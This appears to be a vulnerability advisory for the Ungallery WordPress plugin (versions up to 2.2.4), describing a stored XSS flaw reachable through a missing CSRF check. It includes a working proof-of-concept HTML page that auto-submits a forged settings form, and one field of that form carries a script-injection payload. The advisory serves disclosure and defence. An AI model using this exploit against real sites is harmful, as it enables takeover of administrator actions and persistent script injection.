Ungallery <= 2.2.4 - Stored XSS via CSRF

2024-04-1800:00:00

Bob Matyas

ungallery

stored xss

csrf

update

exploit

may 02 2024

AI Score

5.9

Confidence

High

EPSS

Percentile

9.0%

JSON

Description The plugin does not have CSRF check in some places, and is missing sanitisation as well as escaping, which could allow attackers to make logged in admin add Stored XSS payloads via a CSRF attack

Make a logged in admin open an HTML file containing the following:

```
<body onload="document.forms[0].submit()">
    <form action="https://example.com/wp-admin/options-general.php?page=ungallerysettings" method="POST"> 
        <input type="hidden" name="mt_submit_hidden" value="Y">
        <input type="hidden" name="images_path" value="/var/www/html/wp-content/uploads/2024/01/*">
        <input type="hidden" name="URI" value="<? print get_bloginfo('url'); ?>/" >
        <input type="hidden" name="gallery" value="ungallery">
        <input type="hidden" name="version" value="2.2.4">
        <input type="hidden" name="gallery2" value='"><script>alert(2)</script>'>
        <input type="hidden" name="cache_dir" value="/var/www/html/wp-content/cache/">
        <button type="submit">Save Changes</button>
    </form>
</body>
```